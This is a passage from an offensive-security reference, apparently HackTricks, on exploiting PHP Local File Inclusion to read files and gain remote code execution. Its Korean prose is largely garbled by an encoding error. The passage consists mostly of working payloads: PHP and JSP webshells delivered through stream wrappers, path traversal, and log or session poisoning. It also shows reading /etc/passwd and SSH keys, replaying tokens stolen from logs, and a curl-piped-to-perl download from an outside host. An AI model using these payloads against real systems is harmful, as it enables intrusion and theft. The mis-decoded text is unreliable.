afor example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isnโt anymore a hexadecimal character, therefore dechunk doesnโt deleted it and the php error is triggered because it multiplies with the initial bomb. - ์์์ rot13 ๊ฐ์ ๋ค๋ฅธ ๋ณํ์ ์ฌ์ฉํ๋ฉด n, o, p, q, r ๊ฐ์ ๋ค๋ฅธ ๋ฌธ์๋ฅผ leakํ ์ ์์ต๋๋ค (๊ทธ๋ฆฌ๊ณ ๋ค๋ฅธ ์ฝ๋ฑ๋ค์ ๋ค๋ฅธ ๋ฌธ์๋ค์ hex ๋ฒ์๋ก ์ด๋์ํค๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค).
- When the initial char is a number itโs needed to base64 encode it and leak the 2 first letters to leak the number.
- ์ต์ข ๋ฌธ์ ๋ how to leak more than the initial letter์ ๋๋ค. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ๊ฐ์ order memory ํํฐ๋ฅผ ์ฌ์ฉํ๋ฉด ๋ฌธ์๋ค์ ์์๋ฅผ ๋ฐ๊ฟ ํ ์คํธ์ ๋ค๋ฅธ ๋ฌธ์๋ฅผ ์ฒซ ์์น๋ก ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
- ๊ทธ๋ฆฌ๊ณ ์ถ๊ฐ ๋ฐ์ดํฐ๋ฅผ ์ป๊ธฐ ์ํด์๋ convert.iconv.UTF16.UTF16์ผ๋ก ์ฒ์์ 2 bytes์ junk data๋ฅผ ์์ฑํ๊ณ , UCS-4LE๋ฅผ ์ ์ฉํ์ฌ ๊ทธ๊ฒ์ ๋ค์ 2 bytes์ pivot์ํค๊ณ , ๋ฐ์ดํฐ๋ฅผ junk data๊น์ง ์ญ์ ํ๋ ๋ฐฉ์(์ด๋ ๊ฒ ํ๋ฉด ์ด๊ธฐ ํ ์คํธ์ ์ฒซ 2 bytes๊ฐ ์ ๊ฑฐ๋๋ค)์ ์ฌ์ฉํฉ๋๋ค. ์ํ๋ ๋นํธ๋ฅผ leakํ ๋๊น์ง ์ด ๊ณผ์ ์ ๋ฐ๋ณตํฉ๋๋ค.
In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ๊ฐ file descriptors 0, 1 and 2์ ์ ๊ทผํ ์ ์์ต๋๋ค (์ด๊ฒ์ด attack์ ์ด๋ป๊ฒ ์ ์ฉํ ์ง๋ ํ์คํ์ง ์์)
zip:// and rar://
PHPShell์ด ๋ค์ด์๋ Zip ๋๋ Rar ํ์ผ์ ์
๋ก๋ํ๊ณ ์ ๊ทผํ์ธ์.
rar protocol์ ์
์ฉํ๋ ค๋ฉด ๋ช
์์ ์ผ๋ก ํ์ฑํ๋์ด์ผ ํฉ๋๋ค.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
์ด ํ๋กํ ์ฝ์ php ์ค์ allow_url_open ๋ฐ allow_url_include ์ ์ํด ์ ํ๋๋ค๋ ์ ์ ์ ์ํ์ธ์
expect://
Expect๋ ํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค. ๋ค์์ ์ฌ์ฉํด ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
POST parameters์ payload๋ฅผ ์ง์ ํ์ธ์:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
์น ์ ํ๋ฆฌ์ผ์ด์
์ด ํ์ผ ๋ก๋ฉ์ include ๊ฐ์ ํจ์๋ฅผ ์ฌ์ฉํ ๋, .phar ํ์ผ์ PHP ์ฝ๋๋ฅผ ์คํํ๋ ๋ฐ ์ด์ฉ๋ ์ ์๋ค. ์๋์ PHP ์ฝ๋ ์ค๋ํซ์ .phar ํ์ผ์ ์์ฑํ๋ ์๋ฅผ ๋ณด์ฌ์ค๋ค:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar ํ์ผ์ ์ปดํ์ผํ๋ ค๋ฉด ๋ค์ ๋ช
๋ น์ด๋ฅผ ์คํํด์ผ ํฉ๋๋ค:
php --define phar.readonly=0 create_path.php
์คํํ๋ฉด test.phar๋ผ๋ ํ์ผ์ด ์์ฑ๋๋ฉฐ, ์ด๋ Local File Inclusion (LFI) ์ทจ์ฝ์ ์ ์
์ฉํ๋ ๋ฐ ์ ์ฌ์ ์ผ๋ก ์ด์ฉ๋ ์ ์์ต๋๋ค.
LFI๊ฐ ๋ด๋ถ์ PHP ์ฝ๋๋ฅผ ์คํํ์ง ์๊ณ file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), filesize() ๊ฐ์ ํจ์๋ค์ ํตํด ๋จ์ํ ํ์ผ์ ์ฝ๊ธฐ๋ง ํ๋ ๊ฒฝ์ฐ, deserialization ์ทจ์ฝ์ ์ ์
์ฉ์ ์๋ํ ์ ์์ต๋๋ค. ์ด ์ทจ์ฝ์ ์ phar ํ๋กํ ์ฝ์ ์ฌ์ฉํ ํ์ผ ์ฝ๊ธฐ์ ๊ด๋ จ๋์ด ์์ต๋๋ค.
์์ธํ ์ดํด๋ฅผ ์ํด ์๋ ๋ฌธ์๋ฅผ ์ฐธ์กฐํ์ธ์:
Phar Deserialization Exploitation Guide
CVE-2024-2961
PHP์์ php filters๋ฅผ ์ง์ํ๋ ์์์ ํ์ผ ์ฝ๊ธฐ๋ฅผ ์
์ฉํ์ฌ RCE๋ฅผ ์ป์ ์ ์์์ต๋๋ค. ์์ธํ ์ค๋ช
์ found in this post.
์์ฃผ ๊ฐ๋จํ ์์ฝ: PHP ํ์์์ 3 byte overflow๋ฅผ ์ด์ฉํด ํน์ ํฌ๊ธฐ์ ์์ ์ฒญํฌ ์ฒด์ธ์ alterํ์ฌ ์์ ์ฃผ์์ ๋ฌด์์ด๋ ์ธ ์ ์๋๋ก ํ๊ณ , ์ด๋ฅผ ์ํด **system**์ ํธ์ถํ๋ ํ
์ ์ถ๊ฐํ์ต๋๋ค.
ํน์ ํฌ๊ธฐ์ ์ฒญํฌ๋ฅผ ํ ๋นํ๊ธฐ ์ํด ์ถ๊ฐ์ ์ธ php filters๋ฅผ ์
์ฉํ ์ ์์์ต๋๋ค.
More protocols
Check more possible protocols to include here:
- php://memory and php://temp โ ๋ฉ๋ชจ๋ฆฌ๋ ์์ ํ์ผ์ ์์ฑ (file inclusion attack์์ ์ด๋ป๊ฒ ์ ์ฉํ ์ง๋ ํ์คํ์ง ์์)
- file:// โ ๋ก์ปฌ ํ์ผ์์คํ ์ ๊ทผ
- http:// โ HTTP(s) URL ์ ๊ทผ
- ftp:// โ FTP(s) URL ์ ๊ทผ
- zlib:// โ ์์ถ ์คํธ๋ฆผ
- glob:// โ ํจํด๊ณผ ์ผ์นํ๋ ๊ฒฝ๋ก๋ช ๊ฒ์ (์ถ๋ ฅ ๊ฐ๋ฅํ ๋ด์ฉ์ ๋ฐํํ์ง ์์ผ๋ฏ๋ก ์ฌ๊ธฐ์๋ ํฌ๊ฒ ์ ์ฉํ์ง ์์)
- ssh2:// โ Secure Shell 2
- ogg:// โ ์ค๋์ค ์คํธ๋ฆผ (์์ ํ์ผ ์ฝ๊ธฐ์ ์ ์ฉํ์ง ์์)
LFI via PHPโs โassertโ
PHP์์ ๋ฌธ์์ด ๋ด ์ฝ๋๋ฅผ ์คํํ ์ ์๋ โassertโ ํจ์๋ฅผ ๋ค๋ฃฐ ๋ Local File Inclusion (LFI) ์ํ์ด ํนํ ํฝ๋๋ค. ์ ๋ ฅ์ โ..โ ๊ฐ์ ๋๋ ํ ๋ฆฌ ํธ๋๋ฒ์ค ๋ฌธ์๊ฐ ํฌํจ๋์ด ์๋์ง๋ฅผ ๊ฒ์ฌํ์ง๋ง ์ ์ ํ ์ ์ ํ์ง ์๋ ๊ฒฝ์ฐ ํนํ ๋ฌธ์ ๊ฐ ๋ฉ๋๋ค.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
์ด ๋ฐฉ์์ traversal๋ฅผ ๋ง์ผ๋ ค๋ ๋ชฉ์ ์ด์ง๋ง, ์๋์น ์๊ฒ code injection์ ์ํ ๋ฒกํฐ๋ฅผ ๋ง๋ญ๋๋ค. ํ์ผ ๋ด์ฉ์ ์ฝ๊ธฐ ์ํด ์ด๋ฅผ ์ ์ฉํ๋ ค๋ฉด ๊ณต๊ฒฉ์๋ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
' and die(highlight_file('/etc/passwd')) or '
์ ์ฌํ๊ฒ, ์์์ ์์คํ ๋ช ๋ น์ ์คํํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์๋ค:
' and die(system("id")) or '
Itโs important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
์ด ๊ธฐ๋ฒ์ ํ์ผ์ ๋ด์ฉ์ด ๋ณด์ด์ง ์๋ ๊ฒฝ์ฐ(์: ๊ฐ๋จํ ํธ์ถ
file())์๋ controlํ ์ ์๋ file path๋ฅผ ๊ฐ์ง PHP function์ด access a fileํ ๋ ๊ด๋ จ๋ฉ๋๋ค.
In this incredible post itโs explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.
์์ฝํ๋ฉด, ์ด ๊ธฐ๋ฒ์ โUCS-4LEโ encoding์ ์ฌ์ฉํด ํ์ผ์ ๋ด์ฉ์ ๋งค์ฐ bigํ๊ฒ ๋ง๋ค์ด ๊ทธ ํ์ผ์ ์ฌ๋ PHP function opening์ด error๋ฅผ ๋ฐ์์ํค๊ฒ ํฉ๋๋ค.
๊ทธ ๋ค์, ์ฒซ ๋ฌธ์๋ฅผ leakํ๊ธฐ ์ํด ํํฐ **dechunk**์ด ์ฌ์ฉ๋๋ฉฐ base64 ๋๋ rot13 ๊ฐ์ ๋ค๋ฅธ ํํฐ๋ค๊ณผ ํจ๊ป ์ฌ์ฉ๋๊ณ , ๋ง์ง๋ง์๋ convert.iconv.UCS-4.UCS-4LE์ convert.iconv.UTF16.UTF-16BE ํํฐ๊ฐ ์ฌ์ฉ๋์ด place other chars at the beggining and leak them.
์ทจ์ฝํ ์ ์๋ ํจ์๋ค: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
๊ธฐ์ ์ ์ธ๋ถ์ฌํญ์ ์์ ํฌ์คํธ๋ฅผ ํ์ธํ์ธ์!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
์๋ฒ ์ธก ์ฝ๋๊ฐ ํ์ผ์ ์์ /์
๋ก๋ํ๋ฉด์ ๋์ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉ์ ์ ์ด ๋ฐ์ดํฐ(์: a filename ๋๋ URL)๋ฅผ canonicalising ๋ฐ ๊ฒ์ฆ ์์ด ๊ตฌ์ฑํ๋ฉด, .. segments์ absolute paths๊ฐ ์๋ํ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ฒ์ด๋ ์์์ ํ์ผ ์ฐ๊ธฐ๋ฅผ ์ผ์ผํฌ ์ ์์ต๋๋ค. ๋ง์ฝ payload๋ฅผ ์น์ ๋
ธ์ถ๋ ๋๋ ํฐ๋ฆฌ์ ๋ฐฐ์นํ ์ ์๋ค๋ฉด, ๋ณดํต webshell์ ๋จ์ด๋จ๋ ค ์ธ์ฆ ์๋ RCE๋ฅผ ์ป์ต๋๋ค.
Typical exploitation workflow:
- ๊ฒฝ๋ก/ํ์ผ๋ช ์ ๋ฐ์ ๋์คํฌ์ ๋ด์ฉ์ ์ฐ๋ ์๋ํฌ์ธํธ๋ ๋ฐฑ๊ทธ๋ผ์ด๋ ์์ปค์์ write primitive๋ฅผ ์๋ณํฉ๋๋ค(์: ๋ฉ์์ง ๊ธฐ๋ฐ ingestion, XML/JSON command handlers, ZIP extractors ๋ฑ).
- ์น์ ๋
ธ์ถ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ํ์
ํฉ๋๋ค. ์ผ๋ฐ์ ์ธ ์:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/โ dropshell.jsp - IIS:
C:\inetpub\wwwroot\โ dropshell.aspx
- Apache/PHP:
- ์๋๋ ์ ์ฅ ๋๋ ํฐ๋ฆฌ์์ webroot๋ก ๋น ์ ธ๋์ค๋๋ก traversal ๊ฒฝ๋ก๋ฅผ ๋ง๋ค๊ณ , webshell ๋ด์ฉ์ ํฌํจํฉ๋๋ค.
- ๋ฐฐํฌ๋ payload์ ์ ์ํด ๋ช ๋ น์ ์คํํฉ๋๋ค.
์ฐธ๊ณ :
- ์ฐ๊ธฐ๋ฅผ ์ํํ๋ ์ทจ์ฝ ์๋น์ค๋ ๋น-HTTP ํฌํธ์์ ๋๊ธฐํ ์ ์์ต๋๋ค(์: TCP 4004์ JMF XML listener). ๋ฉ์ธ ์น ํฌํธ(๋ค๋ฅธ ํฌํธ)์ด ๋์ค์ ๋น์ ์ payload๋ฅผ ์๋นํ ์ ์์ต๋๋ค.
- Java ์คํ์์๋ ์ด๋ฌํ ํ์ผ ์ฐ๊ธฐ๊ฐ ์ข
์ข
๋จ์ํ
File/Paths์ฐ๊ฒฐ๋ก ๊ตฌํ๋ฉ๋๋ค. canonicalisation/allow-listing์ ๋ถ์ฌ๊ฐ ํต์ฌ ๊ฒฐํจ์ ๋๋ค.
Generic XML/JMF-style example (product schemas vary โ the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
ํ๋๋(์ด ํด๋์ค์ ์ทจ์ฝ์ ์ ๋ฐฉ์ดํ๋ ๋ฐฉ๋ฒ):
- ์ ๊ทํ๋(canonical) ๊ฒฝ๋ก๋ก ๋ณํํ๊ณ , ํ์ฉ ๋ชฉ๋ก์ ์๋ ๊ธฐ๋ณธ ๋๋ ํฐ๋ฆฌ(allow-listed base directory)์ ํ์์ธ์ง ๊ฐ์ ๊ฒ์ฌํ๋ค.
.., absolute roots, ๋๋ drive letters๋ฅผ ํฌํจํ ๊ฒฝ๋ก๋ ๊ฑฐ๋ถํ๋ค; generated filenames์ ์ ํธํ๋ค.- writer๋ฅผ low-privileged ๊ณ์ ์ผ๋ก ์คํํ๊ณ , ์ฐ๊ธฐ ๋๋ ํฐ๋ฆฌ๋ฅผ served roots์ ๋ถ๋ฆฌํ๋ค.
Remote File Inclusion
์ด์ ์ ์ค๋ช ๋จ, follow this link.
Apache/Nginx ๋ก๊ทธ ํ์ผ์ ํตํด
Apache ๋๋ Nginx ์๋ฒ๊ฐ include ํจ์ ๋ด๋ถ์์ vulnerable to LFI๋ผ๋ฉด, **/var/log/apache2/access.log or /var/log/nginx/access.log**์ ์ ๊ทผ์ ์๋ํด, user agent๋ GET parameter์ <?php system($_GET['c']); ?> ๊ฐ์ php shell์ ๋ฃ๊ณ ๊ทธ ํ์ผ์ includeํ ์ ์๋ค.
Warning
Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string โquote;โ, PHP will throw an error there and nothing else will be executed.
๋ํ, ๋ฐ๋์ write correctly the payload ํด์ผ ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด PHP๊ฐ ๋ก๊ทธ ํ์ผ์ ๋ถ๋ฌ์ฌ ๋๋ง๋ค ์ค๋ฅ๊ฐ ๋ฐ์ํ๊ณ ๋ ๋ฒ์งธ ๊ธฐํ๋ ์ฃผ์ด์ง์ง ์๋๋ค.
์ด๊ฒ์ ๋ค๋ฅธ ๋ก๊ทธ์์๋ ๊ฐ๋ฅํ์ง๋ง be careful, ๋ก๊ทธ ๋ด๋ถ์ ์ฝ๋๊ฐ URL encoded๋์ด Shell์ด ์์๋ ์ ์๋ค. ํค๋ **authorisation โbasicโ**์ Base64๋ก ์ธ์ฝ๋ฉ๋ โuser:passwordโ๋ฅผ ํฌํจํ๊ณ ๋ก๊ทธ ์์์ ๋์ฝ๋๋๋ค. PHPShell์ ์ด ํค๋ ์์ ์ฝ์
ํ ์ ์๋ค.
๋ค๋ฅธ ๊ฐ๋ฅํ ๋ก๊ทธ ๊ฒฝ๋ก:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
์ก์ธ์ค ๋ก๊ทธ๋ฅผ ์ฝ์ด GET-based auth tokens (token replay) ์์ง
๋ง์ ์ฑ๋ค์ด ์ค์๋ก GET์ ํตํด session/auth tokens๋ฅผ ์๋ฝํฉ๋๋ค (์: AuthenticationToken, token, sid). path traversal/LFI primitive๋ก web server logs์ ์ ๊ทผํ ์ ์๋ค๋ฉด, access logs์์ ํด๋น ํ ํฐ์ ํ์ณ ์ฌ์ฌ์ฉ(replay)ํ์ฌ authentication์ ์์ ํ ์ฐํํ ์ ์์ต๋๋ค.
How-to:
- traversal/LFI๋ฅผ ์ฌ์ฉํด web server access log๋ฅผ ์ฝ์ผ์ธ์. ์ผ๋ฐ ์์น:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- ์ผ๋ถ ์๋ํฌ์ธํธ๋ ํ์ผ ์ฝ๊ธฐ๋ฅผ Base64-encoded๋ก ๋ฐํํฉ๋๋ค. ๊ทธ๋ฐ ๊ฒฝ์ฐ ๋ก์ปฌ์์ ๋์ฝ๋ํ ๋ค ๋ก๊ทธ ๋ผ์ธ์ ํ์ธํ์ธ์.
- token ํ๋ผ๋ฏธํฐ๋ฅผ ํฌํจํ GET ์์ฒญ์ grepํ์ฌ ๊ฐ์ ์ถ์ถํ ๋ค, ํด๋น ๊ฐ์ ์ ํ๋ฆฌ์ผ์ด์ entry point์ ๋ํด replayํ์ธ์.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
๋ณธ๋ฌธ์ด Base64์ด๋ฉด ๋์ฝ๋ํ ๋ค์ ์บก์ฒํ token์ replay:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
์ฐธ๊ณ :
- URLs์ ํฌํจ๋ Tokens๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ก๊น ๋ฉ๋๋ค; ์ด์ ์์คํ ์์๋ ์ ๋ bearer tokens๋ฅผ GET์ผ๋ก ๋ฐ์ง ๋ง์ธ์.
- ์ฑ์ด ์ฌ๋ฌ token ์ด๋ฆ์ ์ง์ํ๋ฉด AuthenticationToken, token, sid, access_token ๊ฐ์ ์ผ๋ฐ์ ์ธ ํค๋ฅผ ์ฐพ์๋ณด์ธ์.
- logs์ leaked๋์์ ๊ฐ๋ฅ์ฑ์ด ์๋ ๋ชจ๋ tokens๋ฅผ ๊ต์ฒด(rotate)ํ์ธ์.
์ด๋ฉ์ผ์ ํตํด
๋ฉ์ผ์ ๋ณด๋ด์ธ์ ๋ด๋ถ ๊ณ์ (user@localhost)์ผ๋ก <?php echo system($_REQUEST["cmd"]); ?> ๊ฐ์ PHP payload๋ฅผ ํฌํจํ ๋ฉ์ผ์ ๋ณด๋ด๊ณ , ์ฌ์ฉ์์ ๋ฉ์ผ์ ๋ค์ ๊ฒฝ๋ก๋ก include ํด ๋ณด์ธ์: /var/mail/<USERNAME> ๋๋ /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- ๋ง์ shells๋ฅผ ์ ๋ก๋ํ์ธ์ (์: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, ์ฌ๊ธฐ์ $PID = ํ๋ก์ธ์ค์ PID(๋ฌด์ฐจ๋ณ ๋์ ๊ฐ๋ฅ)์ด๊ณ $FD๋ ํ์ผ ๋์คํฌ๋ฆฝํฐ(์ญ์ ๋ฌด์ฐจ๋ณ ๋์ ๊ฐ๋ฅ)์ ๋๋ค
Via /proc/self/environ
๋ก๊ทธ ํ์ผ์ฒ๋ผ, payload๋ฅผ User-Agent์ ๋ด์ ๋ณด๋ด๋ฉด /proc/self/environ ํ์ผ ๋ด์ ๋ฐ์๋ฉ๋๋ค
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
์ ๋ก๋๋ฅผ ํตํด
ํ์ผ์ ์
๋ก๋ํ ์ ์๋ค๋ฉด, ๋จ์ํ ๊ทธ ์์ shell payload๋ฅผ ์ฃผ์
ํ๋ฉด ๋๋ค (์: <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
ํ์ผ์ ์ฝ๊ธฐ ์ฝ๊ฒ ์ ์งํ๋ ค๋ฉด ์ด๋ฏธ์ง/๋ฌธ์/PDF์ ๋ฉํ๋ฐ์ดํฐ์ ์ฃผ์ ํ๋ ๊ฒ์ด ๊ฐ์ฅ ์ข์ต๋๋ค
Zip ํ์ผ ์ ๋ก๋๋ฅผ ํตํด
PHP shell์ด ํฌํจ๋ ZIP ํ์ผ์ ์ ๋ก๋ํ ๋ค ์ ๊ทผ:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
PHP sessions๋ฅผ ํตํด
์น์ฌ์ดํธ๊ฐ PHP Session (PHPSESSID)์ ์ฌ์ฉํ๋์ง ํ์ธํ์ธ์
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
PHP์์๋ ์ด๋ฌํ ์ธ์ ๋ค์ด /var/lib/php5/sess\[PHPSESSID]_ ํ์ผ๋ค์ ์ ์ฅ๋ฉ๋๋ค
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
cookie๋ฅผ <?php system('cat /etc/passwd');?>๋ก ์ค์ ํ์ธ์
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
LFI๋ฅผ ์ฌ์ฉํ์ฌ PHP ์ธ์ ํ์ผ์ ํฌํจํ์ธ์.
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
ssh๋ฅผ ํตํด
ssh๊ฐ ํ์ฑํ๋์ด ์๋ค๋ฉด ์ฌ์ฉ ์ค์ธ ์ฌ์ฉ์๋ฅผ ํ์ธ(/proc/self/status ๋ฐ /etc/passwd)ํ๊ณ <HOME>/.ssh/id_rsa์ ์ ๊ทผ์ ์๋ํด๋ณด์ธ์.
๋ฅผ ํตํด vsftpd ๋ก๊ทธ
FTP ์๋ฒ vsftpd์ ๋ก๊ทธ๋ _/var/log/vsftpd.log_์ ์์นํฉ๋๋ค. Local File Inclusion (LFI) ์ทจ์ฝ์ ์ด ์กด์ฌํ๊ณ ๋ ธ์ถ๋ vsftpd ์๋ฒ์ ์ ๊ทผํ ์ ์๋ ๊ฒฝ์ฐ, ๋ค์ ์ ์ฐจ๋ฅผ ๊ณ ๋ คํ ์ ์์ต๋๋ค:
- ๋ก๊ทธ์ธ ๊ณผ์ ์์ username ํ๋์ PHP payload๋ฅผ ์ฃผ์ ํฉ๋๋ค.
- ์ฃผ์ ํ, LFI๋ฅผ ์ด์ฉํด ์๋ฒ ๋ก๊ทธ _/var/log/vsftpd.log_๋ฅผ ๊ฐ์ ธ์ต๋๋ค.
php base64 filter๋ฅผ ํตํด (base64 ์ฌ์ฉ)
As shown in this article, PHP base64 filter just ignore Non-base64. ์ด๋ฅผ ์ด์ฉํด ํ์ผ ํ์ฅ์ ๊ฒ์ฌ ์ฐํ๊ฐ ๊ฐ๋ฅํฉ๋๋ค: ๋ง์ฝ โ.phpโ๋ก ๋๋๋ base64๋ฅผ ๊ณต๊ธํ๋ฉด ํํฐ๋ โ.โ๋ฅผ ๋ฌด์ํ๊ณ base64์ โphpโ๋ฅผ ๋ง๋ถ์ ๋๋ค. ์์ payload๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (ํ์ผ ๋ถํ์)
This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.
Via segmentation fault
Upload a file that will be stored as temporary in /tmp, then in the same request, trigger a segmentation fault, and then the temporary file wonโt be deleted and you can search for it.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:
Via PHP_SESSION_UPLOAD_PROGRESS
If you found a Local File Inclusion even if you donโt have a session and session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
If you found a Local File Inclusion and and the server is running in Windows you might get RCE:
Via pearcmd.php + URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, itโs possible to pass arguments to the script via the URL because itโs indicated that if a URL param doesnโt have an =, it should be used as an argument. See also watchTowrโs write-up and Orange Tsaiโs โConfusion Attacksโ.
The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
๋ค์์ CRLF vuln์ ์ ์ฉํ์ฌ RCE๋ฅผ ์ป๋ ์์์ ๋๋ค (์ถ์ฒ: here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
phpinfo()๋ฅผ ํตํ (file_uploads = on)
๋ง์ฝ Local File Inclusion๋ฅผ ๋ฐ๊ฒฌํ๊ณ **phpinfo()**๋ฅผ ๋ ธ์ถํ๋ ํ์ผ์ file_uploads = on์ด๋ฉด RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure๋ฅผ ํตํ
๋ง์ฝ Local File Inclusion๋ฅผ ๋ฐ๊ฒฌํ๊ณ ์์ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ์ถ์ถํ ์ ์์ง๋ง ์๋ฒ๊ฐ ํฌํจํ ํ์ผ์ PHP ๋งํฌ๊ฐ ์๋์ง ํ์ธํ๊ณ ์๋ค๋ฉด, ์ด Race Condition์ผ๋ก ๊ทธ ๊ฒ์ฌ๋ฅผ ์ฐํํด๋ณผ ์ ์์ต๋๋ค:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
eternal waiting + bruteforce๋ฅผ ํตํ
LFI๋ฅผ ์ ์ฉํด ์์ ํ์ผ์ ์ ๋ก๋ํ ์ ์๊ณ ์๋ฒ๊ฐ PHP ์คํ์ ๋ฉ์ถ๊ฒ(hang) ํ ์ ์๋ค๋ฉด, ๋ช ์๊ฐ ๋์ ํ์ผ๋ช ์ bruteforceํ์ฌ ์์ ํ์ผ์ ์ฐพ์ ์ ์์ต๋๋ค:
Fatal Error๋ก
